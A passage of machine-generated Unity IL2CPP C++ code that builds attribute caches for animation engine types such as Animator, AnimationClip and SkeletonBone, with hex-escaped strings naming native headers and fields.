AttributeUsageAttribute_set_AllowMultiple_mF412CDAFFE16D056721EF81A1EC04ACE63612055_inline(tmp, false, NULL);
}
}
static void StateMachineBehaviour_tBEDE439261DEB4C7334646339BC6F1E7958F095F_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[0];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
}
static void AnimationState_tDB7088046A65ABCEC66B45147693CA0AD803A3AD_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x53\x74\x61\x74\x65\x2E\x68"), NULL);
}
{
UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 * tmp = (UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 *)cache->attributes[1];
UsedByNativeCodeAttribute__ctor_mA8236FADF130BCDD86C6017039295F9D521EECB8(tmp, NULL);
}
}
static void AnimationEvent_tC15CA47BE450896AF876FFA75D7A8E22C2D286AF_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[0];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
}
static void AnimationClip_tD9BFD73D43793BA608D5C0B46BE29EB59E40D178_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 * tmp = (NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 *)cache->attributes[0];
NativeTypeAttribute__ctor_m3DB005847AE3BBCFF1F20783B78E10CF9BA0FFA9(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x43\x6C\x69\x70\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x43\x6C\x69\x70\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
}
static void AnimatorClipInfo_t758011D6F2B4C04893FCD364DAA936C801FBC610_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 * tmp = (UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 *)cache->attributes[0];
UsedByNativeCodeAttribute__ctor_mA8236FADF130BCDD86C6017039295F9D521EECB8(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x49\x6E\x66\x6F\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
}
static void AnimatorStateInfo_t052E146D2DB1EC155950ECA45734BF57134258AA_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[0];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x49\x6E\x66\x6F\x2E\x68"), NULL);
}
}
static void AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x49\x6E\x66\x6F\x2E\x68"), NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[1];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
}
static void AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_FullPath(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x66\x75\x6C\x6C\x50\x61\x74\x68\x48\x61\x73\x68"), NULL);
}
}
static void AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_UserName(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x75\x73\x65\x72\x4E\x61\x6D\x65\x48\x61\x73\x68"), NULL);
}
}
static void AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_Name(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x6E\x61\x6D\x65\x48\x61\x73\x68"), NULL);
}
}
static void AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_HasFixedDuration(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x68\x61\x73\x46\x69\x78\x65\x64\x44\x75\x72\x61\x74\x69\x6F\x6E"), NULL);
}
}
static void AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_Duration(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x64\x75\x72\x61\x74\x69\x6F\x6E"), NULL);
}
}
static void AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_NormalizedTime(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x6E\x6F\x72\x6D\x61\x6C\x69\x7A\x65\x64\x54\x69\x6D\x65"), NULL);
}
}
static void AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_AnyState(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x61\x6E\x79\x53\x74\x61\x74\x65"), NULL);
}
}
static void AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_TransitionType(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x74\x72\x61\x6E\x73\x69\x74\x69\x6F\x6E\x54\x79\x70\x65"), NULL);
}
}
static void Animator_t9DD1D43680A61D65A3C98C6EFF559709DC9CE149_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 * tmp = (UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 *)cache->attributes[0];
UsedByNativeCodeAttribute__ctor_mA8236FADF130BCDD86C6017039295F9D521EECB8(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72\x50\x61\x72\x61\x6D\x65\x74\x65\x72\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[3];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x2E\x68"), NULL);
}
}
static void Animator_t9DD1D43680A61D65A3C98C6EFF559709DC9CE149_CustomAttributesCacheGenerator_Animator_get_hasBoundPlayables_m1ADEF28BC77A4C8DBC707DA02A1B72E00AC0C88A(CustomAttributesCache* cache)
{
{
NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * tmp = (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 *)cache->attributes[0];
NativeMethodAttribute__ctor_m7F91BF50E5248D4FC3B6938488ABA3F1A883B825(tmp, il2cpp_codegen_string_new_wrapper("\x48\x61\x73\x42\x6F\x75\x6E\x64\x50\x6C\x61\x79\x61\x62\x6C\x65\x73"), NULL);
}
}
static void Animator_t9DD1D43680A61D65A3C98C6EFF559709DC9CE149_CustomAttributesCacheGenerator_Animator_SetTriggerString_m38F66A49276BCED56B89BB6AF8A36183BE4285F0(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_m89A928D5B13E0189814C007431EA5EA8EE4768C1(tmp, NULL);
NativeMethodAttribute_set_Name_mC85A9B1CE4650D43D0E73B503753864CA4952A9C_inline(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x6F\x72\x42\x69\x6E\x64\x69\x6E\x67\x73\x3A\x3A\x53\x65\x74\x54\x72\x69\x67\x67\x65\x72\x53\x74\x72\x69\x6E\x67"), NULL);
NativeMethodAttribute_set_HasExplicitThis_mB44D70CDD0D14884A4FA84776C3091C742FAFE44_inline(tmp, true, NULL);
}
}
static void Animator_t9DD1D43680A61D65A3C98C6EFF559709DC9CE149_CustomAttributesCacheGenerator_Animator_ResetTriggerString_m6FC21A6B7732A31338EE22E78F3D6220903EDBB2(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_m89A928D5B13E0189814C007431EA5EA8EE4768C1(tmp, NULL);
NativeMethodAttribute_set_Name_mC85A9B1CE4650D43D0E73B503753864CA4952A9C_inline(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x6F\x72\x42\x69\x6E\x64\x69\x6E\x67\x73\x3A\x3A\x52\x65\x73\x65\x74\x54\x72\x69\x67\x67\x65\x72\x53\x74\x72\x69\x6E\x67"), NULL);
NativeMethodAttribute_set_HasExplicitThis_mB44D70CDD0D14884A4FA84776C3091C742FAFE44_inline(tmp, true, NULL);
}
}
static void AnimatorOverrideController_t4630AA9761965F735AEB26B9A92D210D6338B2DA_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x4F\x76\x65\x72\x72\x69\x64\x65\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
DefaultMemberAttribute_t8C9B3330DEA69EE364962477FF14FD2CFE30D4B5 * tmp = (DefaultMemberAttribute_t8C9B3330DEA69EE364962477FF14FD2CFE30D4B5 *)cache->attributes[2];
DefaultMemberAttribute__ctor_mA025B6F5B3A9292696E01108027840C8DFF7F4D7(tmp, il2cpp_codegen_string_new_wrapper("\x49\x74\x65\x6D"), NULL);
}
{
UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 * tmp = (UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 *)cache->attributes[3];
UsedByNativeCodeAttribute__ctor_mA8236FADF130BCDD86C6017039295F9D521EECB8(tmp, NULL);
}
}
static void AnimatorOverrideController_t4630AA9761965F735AEB26B9A92D210D6338B2DA_CustomAttributesCacheGenerator_AnimatorOverrideController_OnInvalidateOverrideController_m579571520B7C607B6983D4973EBAE982EAC9AA40(CustomAttributesCache* cache)
{
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[0];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B * tmp = (NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B *)cache->attributes[1];
NativeConditionalAttribute__ctor_m2D44C123AE8913373A143BBE663F4DEF8D21DEF9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x49\x54\x59\x5F\x45\x44\x49\x54\x4F\x52"), NULL);
}
}
static void Avatar_t1A1B32874530475986346E2EED62F9DDEE8C45C6_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x41\x76\x61\x74\x61\x72\x2E\x68"), NULL);
}
{
UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 * tmp = (UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 *)cache->attributes[1];
UsedByNativeCodeAttribute__ctor_mA8236FADF130BCDD86C6017039295F9D521EECB8(tmp, NULL);
}
}
static void SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x48\x75\x6D\x61\x6E\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x2E\x68"), NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[1];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 * tmp = (NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 *)cache->attributes[2];
NativeTypeAttribute__ctor_m0914A881DE5A0E58B381CDE59CB821D6DBA4B711(tmp, 1LL, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x6E\x6F\x53\x6B\x65\x6C\x65\x74\x6F\x6E\x42\x6F\x6E\x65"), NULL);
}
}
static void SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator_name(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x4E\x61\x6D\x65"), NULL);
}
}
static void SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator_parentName(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x61\x72\x65\x6E\x74\x4E\x61\x6D\x65"), NULL);
}
}
static void SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator_position(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x6F\x73\x69\x74\x69\x6F\x6E"), NULL);
}
}
static void SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator_rotation(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x52\x6F\x74\x61\x74\x69\x6F\x6E"), NULL);
}
}
static void SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator_scale(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x53\x63\x61\x6C\x65"), NULL);
}
}
static void HumanLimit_t8F488DD21062BE1259B0F4C77E4EB24FB931E8D8_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 * tmp = (NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 *)cache->attributes[0];
NativeTypeAttribute__ctor_m0914A881DE5A0E58B381CDE59CB821D6DBA4B711(tmp, 1LL, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x6E\x6F\x48\x75\x6D\x61\x6E\x4C\x69\x6D\x69\x74"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x48\x75\x6D\x61\x6E\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x76\x61\x74\x61\x72\x42\x75\x69\x6C\x64\x65\x72\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
}
static void HumanBone_tFEE7CD9B6E62BBB95CC4A6F1AA7FC7A26541D62D_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[0];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
